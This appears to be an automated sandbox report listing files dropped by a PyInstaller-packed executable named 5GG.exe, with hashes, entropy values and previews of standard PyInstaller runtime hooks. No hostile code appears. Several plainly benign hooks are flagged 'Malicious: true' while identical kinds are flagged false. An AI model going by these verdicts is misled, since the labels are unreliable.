C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\pyi_rth_pywintypes.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	389
Entropy (8bit):	5.4814467083964225
Encrypted:	false
SSDEEP:	6:y/qQTUw1QTalvTbAfau1btDpuZbbBOFQRkDHSC5EgTdArQfVOX9rFO2DKeQIK0tD:CpUw1QTZFifBIHS6EgJ9OX9rtJdvtQYn
MD5:	4EB1A083BC6D29D8018F5AD821F58215
SHA1:	7C1826A84535722A3AD544633A8DC1A91B0759C3
SHA-256:	A3F38C2250C656E20F9866BE90786E077F31F8DBEF58989C40A6628CB6F3A648
SHA-512:	A231FFD302C7DA7AB6F6D3D7D155A9DA2862A6DF45D7FC048D52A94C70875FE5DF298854D04A0D31A2F89562F8F0293DDFAA34CAE8B116995283D8DBF744CE44
Malicious:	false
Preview:	o.........e,........................@...sH...d.d.l.Z.d.d.l.Z.e.j...e.j.d...Z.e.j...e...r!e.e.j.v.r!e.j...e.....[.d.S.)......NZ.pywin32_system32)...sys..os..path..joinZ._MEIPASSZ.pywin32_system32_path..isdir..append..r....r.....~...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/rthooks/pyi_rth_pywintypes.py..<module>....s................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\pyi_rth_tensorflow.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	693
Entropy (8bit):	5.157964619300737
Encrypted:	false
SSDEEP:	12:C92wuXe/ukkAa8bVVHA0LlkjsTzlgz09GHS6EgJ9OX9rtCYRaMO3R96lQv3RaCGW:Yp51rbjAmlkACPEI4XgB96qv3TGZ+x
MD5:	8505B8CECEBEBEF18CCF705937CC8784
SHA1:	04CC363ADEE07D8B00A0516B99B5EC8645762722
SHA-256:	89236AEFFE366250A590572DFC2826E67682FD0454888AFC7A5D8210B5AD3BF1
SHA-512:	573461EAA46288A02767A38B32F6BB0785ABB589FE7D40F5278FE88CEAB13BE204B780F25FBBF51E1CB02C5660E90DFE83A36324E9FDE5C04EAB57E3F7D62A8B
Malicious:	false
Preview:	o.........e.........................@...s....d.d...Z.e.....[.d.S.).c........................sB...d.d.l...d.d.l.}.\|.j.d.u.r.d.\|._.t.\|.d.........f.d.d...}.\|.\|._.d.S.).N.........getsitepackagesc........................s......j.d.g...d.u.r.......S.g...S.).NZ.tensorflow).Z._MEIPASS....Z._orig_getsitepackages..sysr.....~...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/rthooks/pyi_rth_tensorflow.py.._pyi_getsitepackages'...s..................z)_pyi_rthook.<locals>._pyi_getsitepackages).r......site..USER_SITE..getattrr....).r....r....r....r....r......_pyi_rthook....s..................r....N).r....r....r....r....r......<module>....s.......(..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\pyi_rth_traitlets.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	4.962224991319655
Encrypted:	false
SSDEEP:	12:CY7hQ+ngDLukJwQVTHS6EgJ9OX9rtkqrbuJS:bFvA6kJwwTEI4b
MD5:	5C08ED7C1A067972947A2FC7757CFD4C
SHA1:	E650231A0AF54286220E049FB2525F0F3442CDE4
SHA-256:	B5875C43C4399CBE5CED034FAB8CC33DEE094A8BF5EA9FF2C3F2B7CE8FAA1FDF
SHA-512:	A2E7AB0A6731EDF8FC1976D3CCC2A969A0E6B29BCE823F1C126815E41FF5DC5D149B3253B8C63858FFCBD7AA709F4A8509366D98DFF741276F8B497A32B91E76
Malicious:	false
Preview:	o.........eg........................@...s....d.d.l.Z.d.d...Z.e.e.j._.d.S.)......Nc....................C...s....d.S.).N..)...method..cls..method_name..msgr....r.....}...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/rthooks/pyi_rth_traitlets.py.._disabled_deprecation_warnings....s......r....).Z.traitlets.traitletsZ.traitletsr....Z._deprecated_methodr....r....r....r......<module>....s..........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\pyi_rth_usb.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1677
Entropy (8bit):	5.648182975065797
Encrypted:	false
SSDEEP:	24:broF+QtJp1rRUkYxOBTg9sG2ODwniMI5Q8YZEI47NkC2oSxrmFtDIrFae3HPjU:/oPtLhYxgOsG2O8i7K8YH47SxaM5PjU
MD5:	F775A36D74DA8335581D0C0E9E0C6683
SHA1:	C985B5FF43AB1FC4303F95B5BBCE20F2EB2CEDF5
SHA-256:	7C4C22443BD5115CD8FF803F7C12D8B672B31855D649B6495BD47FB27C199676
SHA-512:	88FC7DCBB4F3B5CD0486B38B3F9D018202D910428ED1F5EB86FF5BD92437BB0EB2A6F223DE45701F37ED9CD477ECD1393BA2E5051AFE925AE6E8276C36C0720E
Malicious:	false
Preview:	o.........e0........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.m.....m.Z...W.n...e.y-......d.d.l.m.....m.Z...Y.n.w.z.d.d.l.m.....m.Z...W.n...e.yK......d.d.l.m.....m.Z...Y.n.w.d.d.l.m.....m.Z...d.d...Z.e.j.d.k.rre.d.d...e._.e.d.d...e._.e.d.d...e._.d.S.e.d.d...e._.e.d.d...e._.e.d.d...e._.d.S.)......Nc........................s....d.....f.d.d...}.\|.S.).Nc........................s....t.j.}.d.}...D.]f}.t.j.d.k.r.t.j.d.k.r.t...d.\|.\|.f.....}.n.t.j.d.k.s't.j.d.k.r1t...d.\|.\|.f.....}.n.t...d.\|.\|.f.....}.\|.D.]}.z.t.j.d.k.rN..d.k.rNt...\|...}.n.t...\|...}.\|.d.u.rZW...n.W.q<..t.yf......d.}.Y.q<w.\|.d.u.rm..n.q.t.d.......d.k.r.t.\|.d...s.t.d.....\|.S.).N..posix..darwinz.%s/%s.dylib..win32..cygwinz.%s\%s.dllz.%s/%s.so..libusb01z.USB library could not be found..libusb10Z.libusb_init)...sysZ._MEIPASS..os..name..platform..glob..ctypes..WinDLL..CDLL..OSError..hasattr).Z.find_libraryZ.exec_pathZ.library..candidateZ.libsZ.libname....candidates..type...w...F:\python\1 .......\C

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pyi_rth_enchant.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.919150459831748
Encrypted:	false
SSDEEP:	12:G3TFXFhZhDI4I2MFj270xDCNbO+ceKy01f6C+RrFkevky02oJ2Xyu2XpdcbKFnx:G3Zbn04I2IxDgbOBV6CArFkU0FlyKx
MD5:	C4599F7F5545F4C8B3EF90D71657A37C
SHA1:	2029A294DEF79EF2840CBFEBCB0571EEE3C4C299
SHA-256:	69908745D3E5DDB1AA4569EC217B4DB2A71B397D2CCD73458269BA1A5686CC22
SHA-512:	582E85D12209B61B65E63FDD0ECF94E84AE4656C97E9DE456C8AA1771C899D7DA56E958E8F151574CB725FCDA1A573B784A6E0764124A7A2602335607C5899B9
Malicious:	false
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2005-2020, PyInstaller Development Team..#.# Licensed under the Apache License, Version 2.0 (the "License");.# you may not use this file except in compliance with the License..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: Apache-2.0.#-----------------------------------------------------------------------------..import os.import sys..# On Mac OS X tell enchant library where to look for enchant backends (aspell, myspell, ...)..# Enchant is looking for backends in directory 'PREFIX/lib/enchant'.# Note: env. var. ENCHANT_PREFIX_DIR is implemented only in the development version:.# https://github.com/AbiWord/enchant.# https://github.com/AbiWord/enchant/pull/2.# TODO Test this rthook..if sys.platform.startswith('darwin'):. os.environ['ENCHANT_PREFIX_DIR'] = os.path.join(sys._MEIPASS, 'enchant').

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pyi_rth_ffpyplayer.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	944
Entropy (8bit):	4.718614725519333
Encrypted:	false
SSDEEP:	24:G3cbn04I2IxDgbO3EDzrCnA+vuVj4NmGCjZ:Ucbn04UDgiUDzGvvuVj4NmGCN
MD5:	B615BEC8ACECCFE15E50620EAEB3B28C
SHA1:	28F5E82C193DAF8FC2C6F9B58961E63B8C485C18
SHA-256:	03D49065F63DFB4FA06A6AEB7555284D7AE514E346AA1CED0B46E774FCEEDCE9
SHA-512:	DFEA82D3C8519317F182705BB8566E680A3A93CCE0FCF10BD6E40C73FE62E53D228A487380637882D462698C69A2FBA48A4297CABE4C5EB5869602B5FA65B3CE
Malicious:	false
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2023, PyInstaller Development Team..#.# Licensed under the Apache License, Version 2.0 (the "License");.# you may not use this file except in compliance with the License..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: Apache-2.0.#-----------------------------------------------------------------------------..# Starting with v4.3.5, the `ffpyplayer` package attempts to use `site.USER_BASE` in path manipulation functions..# As frozen application runs with disabled `site`, the value of this variable is `None`, and causes path manipulation.# functions to raise an error. As a work-around, we set `site.USER_BASE` to an empty string, which is also what the.# fake `site` module available in PyInstaller prior to v5.5 did..import site..if site.USER_BASE is None:. site.USER_BASE = ''.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pyi_rth_nltk.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	599
Entropy (8bit):	4.460966035200016
Encrypted:	false
SSDEEP:	12:G3UFXFhZhDI4I2MFj270xDCNbO+cINBc20ktwrT:G30bn04I2IxDgbO8bj0lT
MD5:	A3C4F56AA203F14D6F1715DECC07A49F
SHA1:	178BAE425644D2733D96EB2A635DF32463314709
SHA-256:	8F59EF7342AB17432BB9C030B10FA10B4906E2F49FB36529354E524656194866
SHA-512:	C025CF7EECA8739D1EE56DCFBDB6EC125F8C6D3176E93354202AB15D7BAD8270E84F877A510EBCB5013E001E2C466600E3187C911EDF2228D1685AC1B4AA881F
Malicious:	false
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2013-2020, PyInstaller Development Team..#.# Licensed under the Apache License, Version 2.0 (the "License");.# you may not use this file except in compliance with the License..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: Apache-2.0.#-----------------------------------------------------------------------------..import sys.import os.import nltk..#add the path to nltk_data.nltk.data.path.insert(0, os.path.join(sys._MEIPASS, "nltk_data")).

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pyi_rth_osgeo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	4.873688259696396
Encrypted:	false
SSDEEP:	24:G3Wbn04I2IxDgbOBBL3oLh5XgvnL1gYmvJndh:UWbn04UDgiB5oLh5XgvOvvJdh
MD5:	30676A865604ED7F32797472955BAB84
SHA1:	D6FD088B70F2377E49D19EFDCF98C02E22833266
SHA-256:	EF1D363D3F512137993DC1B4756682D67AAB1F746C8C65C4A459BB83F6B1A76B
SHA-512:	B2B5F626CC9F971E2B956F67CC85CDC9E1E33624A8C94B76DE8E30C493C6E0FFB1E09FD84A4B39B3D337F6BF05BBE1AEEDFEB4F038098D7541E674C171475BB8
Malicious:	false
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2015-2020, PyInstaller Development Team..#.# Licensed under the Apache License, Version 2.0 (the "License");.# you may not use this file except in compliance with the License..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: Apache-2.0.#-----------------------------------------------------------------------------..import os.import sys..# Installing `osgeo` Conda packages requires to set `GDAL_DATA`..is_win = sys.platform.startswith('win').if is_win:.. gdal_data = os.path.join(sys._MEIPASS, 'data', 'gdal'). if not os.path.exists(gdal_data):.. gdal_data = os.path.join(sys._MEIPASS, 'Library', 'share', 'gdal'). # last attempt, check if one of the required file is in the generic folder Library/data. if not os.path.exists(os.path.join(gdal_data, 'gcs.csv')):. gdal_data = os.path.join(sys._MEIPASS, 'L

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pyi_rth_pygraphviz.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	4.733626980229025
Encrypted:	false
SSDEEP:	24:G3+tbn04I2IxDgbOPEHnu69+UYLwgaT0SYaUq5T4NHXKP:Umbn04UDgiPEHnu69+UYJsYaYZKP
MD5:	F0B4F4F8E45AC8D44192BB8698948CAD
SHA1:	55338CFBFFBB550B11A1B10C9B544A894CC73E7F
SHA-256:	0023200A62663E5970265E9E6164BEC87BF23DE3D538BE18FA3FEDF4701BE1D3
SHA-512:	2FF683D9AB1C9E9A03FC5615FF3B6699D6699AB42CD8BF169386723D3BE14CC838726C73DF1C75C55D3065E59789C70AED77490C5A4B7156AF0668E9A0A82535
Malicious:	true
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2021, PyInstaller Development Team..#.# Licensed under the Apache License, Version 2.0 (the "License");.# you may not use this file except in compliance with the License..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: Apache-2.0.#-----------------------------------------------------------------------------..import pygraphviz..# Override pygraphviz.AGraph._which method to search for graphviz executables inside sys._MEIPASS.if hasattr(pygraphviz.AGraph, '_which'):.. def _pygraphviz_override_which(self, name):. import os. import sys. import platform.. program_name = name. if platform.system() == "Windows":. program_name += ".exe".. program_path = os.path.join(sys._MEIPASS, program_name). if not os.path.isfile(program_path):. raise ValueError(f"Prog {name} not f

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pyi_rth_pyproj.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	819
Entropy (8bit):	4.824840996731423
Encrypted:	false
SSDEEP:	12:G3uFXFhZhDI4I2MFj270xDCNbO+ceKyEL+uVPqvmUPwM4E2tUXPEvUX1kbK9zn:G3Wbn04I2IxDgbOBBLpVPUmUHqWRn
MD5:	B2CDAAD46B62ED34ACC8644FB59FB8DD
SHA1:	A69B6AF2B22D05E4FC425E6D2600BB7192BB10E3
SHA-256:	1355F4BDF497F2AE8D538BDEE1B0EC1F0090A94713F03AC2EA69C15FF8858214
SHA-512:	FBAA78342BD249A702451A5149C198A4F5DDA37C0BAC18F82867C10A6D8F980097C53B9F3B3506BE230934B31B6AB03C1387BC96BB855B56DE06B795C6AF4AB8
Malicious:	false
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2015-2020, PyInstaller Development Team..#.# Licensed under the Apache License, Version 2.0 (the "License");.# you may not use this file except in compliance with the License..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: Apache-2.0.#-----------------------------------------------------------------------------..import os.import sys..# Installing `pyproj` Conda packages requires to set `PROJ_LIB`..is_win = sys.platform.startswith('win').if is_win:.. proj_data = os.path.join(sys._MEIPASS, 'Library', 'share', 'proj')..else:. proj_data = os.path.join(sys._MEIPASS, 'share', 'proj')..if os.path.exists(proj_data):. os.environ['PROJ_LIB'] = proj_data.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pyi_rth_pyqtgraph_multiprocess.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2440
Entropy (8bit):	4.791047572125315
Encrypted:	false
SSDEEP:	48:UTbn04UDgi8Q2JmZv2f/Y/tZ17jNqI9bLBP:4n04RTI7tDPNqIdBP
MD5:	4402968E66E36A159608B3F16879FA81
SHA1:	BF1737B1528D0ED215E2B97CAAD691DABECD5F4B
SHA-256:	C3353E2B28BBED5965F76DEA49B14FA7C8C65B446CB32579629406053A55407E
SHA-512:	45AC03FEDF63224ADCE0A4A53B92C560CD372E6631CA879E1725FE5B3B1777E8A83BF7E1C5A7CEEB7EC52F3AD436E7DDD52596F7FFE69EF11224F2F39F1C3134
Malicious:	true
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2022, PyInstaller Development Team..#.# Licensed under the Apache License, Version 2.0 (the "License");.# you may not use this file except in compliance with the License..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: Apache-2.0.#-----------------------------------------------------------------------------..import sys.import os...def _setup_pyqtgraph_multiprocess_hook():. # NOTE: pyqtgraph.multiprocess spawns the sub-process using subprocess.Popen (or equivalent). This means that in. # onefile builds, the executable in subprocess will unpack itself again, into different sys._MEIPASS, because. # the _MEIPASS2 environment variable is not set (bootloader / bootstrap script cleans it up). This will make the. # argv[1] check below fail, due to different sys._MEIPASS value in the subprocess.. #. # To work around this,

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pyi_rth_pythoncom.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	4.753608674372966
Encrypted:	false
SSDEEP:	24:G3Tbn04I2IxDgbOYkzYXkeNBNjyBem8NVemqsnI4eDp:UTbn04UDgiYswdfIrDp
MD5:	9342ACEC9553EF0958991FE01ABC09C6
SHA1:	ACD3D719885180BF4F873373AE6331804FB4AEC8
SHA-256:	A806BEF9950C4743112C39752B0BF7749965BA5135EE83288386C8926A54AE8D
SHA-512:	CD03F885696D7AB8E4CF0DEFFD51958C206968D899AE92719D53A62DD21C959ADE2B50F8726FDF2BE1EB65949CA2E508F37F6E1AA59AA105EC126BE28CCEF84F
Malicious:	false
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2022, PyInstaller Development Team..#.# Licensed under the Apache License, Version 2.0 (the "License");.# you may not use this file except in compliance with the License..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: Apache-2.0.#-----------------------------------------------------------------------------..# Unfortunately, __import_pywin32_system_module__ from pywintypes module assumes that in a frozen application, the.# pythoncom3X.dll and pywintypes3X.dll that are normally found in site-packages/pywin32_system32, are located.# directly in the sys.path, without bothering to check first if they are actually available in the standard location..# This obviously runs afoul of our attempts at preserving the directory layout and placing them in the pywin32_system32.# sub-directory instead of the top-level application directory. So as

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pyi_rth_pywintypes.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	4.753608674372966
Encrypted:	false
SSDEEP:	24:G3Tbn04I2IxDgbOYkzYXkeNBNjyBem8NVemqsnI4eDp:UTbn04UDgiYswdfIrDp
MD5:	9342ACEC9553EF0958991FE01ABC09C6
SHA1:	ACD3D719885180BF4F873373AE6331804FB4AEC8
SHA-256:	A806BEF9950C4743112C39752B0BF7749965BA5135EE83288386C8926A54AE8D
SHA-512:	CD03F885696D7AB8E4CF0DEFFD51958C206968D899AE92719D53A62DD21C959ADE2B50F8726FDF2BE1EB65949CA2E508F37F6E1AA59AA105EC126BE28CCEF84F
Malicious:	false
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2022, PyInstaller Development Team..#.# Licensed under the Apache License, Version 2.0 (the "License");.# you may not use this file except in compliance with the License..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: Apache-2.0.#-----------------------------------------------------------------------------..# Unfortunately, __import_pywin32_system_module__ from pywintypes module assumes that in a frozen application, the.# pythoncom3X.dll and pywintypes3X.dll that are normally found in site-packages/pywin32_system32, are located.# directly in the sys.path, without bothering to check first if they are actually available in the standard location..# This obviously runs afoul of our attempts at preserving the directory layout and placing them in the pywin32_system32.# sub-directory instead of the top-level application directory. So as

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pyi_rth_tensorflow.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2724
Entropy (8bit):	4.9191188263704015
Encrypted:	false
SSDEEP:	48:Ucbn04UDgitrTFm9vvuptHcNm2Ce+upLYYwKvBer88TFGrN81+TDxS:Pn04+XoNEKqluaZAeuN84xS
MD5:	569510A8AAF970697EC51486CCF1A835
SHA1:	5C987C05C81AC7FA9664D181C37B8F301255B865
SHA-256:	E265407B60EEAE76396900EC63BD7B65F0192BFBF14ADA664E99D91DAA9145F6
SHA-512:	3E72E9A324A1FD176B431B5C9330CE3225FB2F1015254F586D5ADDCCF860B7EA2CB7EADA7D5C31ADFF2497E62C986A9A1F7441D6E25EACAD45D12B4BD26AC818
Malicious:	true
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2023, PyInstaller Development Team..#.# Licensed under the Apache License, Version 2.0 (the "License");.# you may not use this file except in compliance with the License..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: Apache-2.0.#-----------------------------------------------------------------------------..def _pyi_rthook():. import sys.. # `tensorflow` versions prior to 2.3.0 attempt to use `site.USER_SITE` in path/string manipulation functions.. # As frozen application runs with disabled `site`, the value of this variable is `None`, and causes path/string. # manipulation functions to raise an error. As a work-around, we set `site.USER_SITE` to an empty string, which is. # also what the fake `site` module available in PyInstaller prior to v5.5 did.. import site.. if site.USER_SITE is None:. site.USER_

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pyi_rth_traitlets.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	871
Entropy (8bit):	4.59281042028849
Encrypted:	false
SSDEEP:	12:G3TFXFhZhDI4I2MFj270xDCNbO+c4VAbEUB1JmZ3ctRklNQHWLJ4rYqtAM2VXS:G3Zbn04I2IxDgbOswEUBTjH294KMyC
MD5:	EE87533FC76C201F11F7418B55A1A1CA
SHA1:	57F37DA6F861061F2196FAB9F5E84FE5DCAB8246
SHA-256:	F91155F7CBA425DD282A2BFAF2EEB3679210641A8E5FA8B996D1FB7375E0063C
SHA-512:	C7D3F258AA81FB80F4D60BD3138711E4FAEA9E9B6A61350C186D7EFF83BF8F0421ADE72B5C10B6B01E72A67A81090B699DE443DE9E33C7446A437D551D452276
Malicious:	true
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2005-2020, PyInstaller Development Team..#.# Licensed under the Apache License, Version 2.0 (the "License");.# you may not use this file except in compliance with the License..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: Apache-2.0.#-----------------------------------------------------------------------------..# 'traitlets' uses module 'inspect' from default Python library to inspect.# source code of modules. However, frozen app does not contain source code.# of Python modules..#.# hook-IPython depends on module 'traitlets'...import traitlets.traitlets...def _disabled_deprecation_warnings(method, cls, method_name, msg):. pass...traitlets.traitlets._deprecated_method = _disabled_deprecation_warnings.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pyi_rth_usb.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2864
Entropy (8bit):	4.6549742002798045
Encrypted:	false
SSDEEP:	48:U0bn04UDgiFwA8YIkT2UCj/CPfZ3XhCAxo8SkERE5BbvGeLBZ:xn04oUYDTMq3Z3RC7REfZP
MD5:	22507DAB79313EDAF4200A8F77EC3FCC
SHA1:	F8246D675B2366E52FF553D76E28B0D0EE150D9B
SHA-256:	3FCB221453C1AA6C8AF8924C4BBA2879516F76644E27243F26EAEBE1E92911E1
SHA-512:	7BBD003CB0648E43277310A294B1E56393799694511DA2D383A78FD9EBF9180415D7AA6A20BEDAEEF5A3DDD6D8D4815825FAA8E1778AA43E840EA023019843EA
Malicious:	true
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2013-2020, PyInstaller Development Team..#.# Licensed under the Apache License, Version 2.0 (the "License");.# you may not use this file except in compliance with the License..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: Apache-2.0.#-----------------------------------------------------------------------------..import ctypes.import glob.import os.import sys.# Pyusb changed these libusb module names in commit 2082e7..try:. import usb.backend.libusb10 as libusb10.except ImportError:. import usb.backend.libusb1 as libusb10.try:. import usb.backend.libusb01 as libusb01.except ImportError:. import usb.backend.libusb0 as libusb01.import usb.backend.openusb as openusb...def get_load_func(type, candidates):.. def _load_library(find_library=None):. exec_path = sys._MEIPASS.. library = None. for candidat

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	4.1646976534140085
Encrypted:	false
SSDEEP:	6:S1vS3NXFhZu47/BeubIsDQhJ4KrD1hgLRatFm2n:Ma3NXFhZhvI4QhJ4KrbO+FP
MD5:	AE9777B484FE39A577FB02AB257379B9
SHA1:	0FD5B4F4AE427A96C1B7DF8C3044448279F265DD
SHA-256:	C4A8B461BFBD5F605FBAFC83D170E69C31CE474008981DB82F54D5567920865F
SHA-512:	1B84DA8523ABEEE5B6CA54FAB1027606E131A514DC95D572623E00A322C00EDED51E674DEE9048DACC3AFBE67068007983FEBAA7C520BFF253A30B4C54F6BB82
Malicious:	false
Preview:	# ------------------------------------------------------------------.# Copyright (c) 2020 PyInstaller Development Team..#.# This file is distributed under the terms of the GNU General Public.# License (version 2.0 or later)..#.# The full license is available in LICENSE.GPL.txt, distributed with.# this software..#.# SPDX-License-Identifier: GPL-2.0-or-later.# ------------------------------------------------------------------.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	213
Entropy (8bit):	4.876767911967003
Encrypted:	false
SSDEEP:	6:y/qQUtqeh/wcwjkDHSC5EgTdArQfVOX9rFQD4:CeseJwcvHS6EgJ9OX9rSD4
MD5:	822186B2D44630061D826B0C7B0E1C15
SHA1:	479FF364F0E04D1753EB1D6225B82B757C412C94
SHA-256:	918649C17FF0C8FE5F544C0EE7635DCE62C8FE3AF654D1FC72B0AFD093DA995F
SHA-512:	A1F519FB3228D7D694ACEB403F25F82E6964661DC9B6260A4473B5E668994A80EE99F09ECA319B31280B108C267FF60DA61E8821E4834C9132659DEBC4FC2E9A
Malicious:	false
Preview:	o.........e.........................@...s....d.S.).N..r....r....r.....u...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/__init__.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-BTrees.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.234275740606172
Encrypted:	false
SSDEEP:	6:y/qQNae9zsPxN4ZXLAlIM4kDHSC5EgTdArQfVOX9rFMomJI6p:CzaeGPxaXFMHS6EgJ9OX9rGc6p
MD5:	5EE5271E7E74D9A865DC40E15635B8E3
SHA1:	C798D7899296C08258D9BB7849E020C84343918A
SHA-256:	5E569774F63DD35097526A508FEBA30AFE275B8771635335F16AAC9CAF8F59B8
SHA-512:	02712014AA62110B6F9F6068C10A644E3BFCEDD8CB4E8FD7DBB42095819ADDB40EC55E4210246778289C97BE6590605ECECFD08F4DDB05753CE271A6BE89A152
Malicious:	false
Preview:	o.........eM........................@...s....d.d.l.m.Z...e.d...Z.d.S.)......)...collect_submodulesZ.BTreesN).Z.PyInstaller.utils.hooksr....Z.hiddenimports..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/stdhooks/hook-BTrees.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\stdhooks\pycache\hook-CTkMessagebox.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.276766584486985
Encrypted:	false
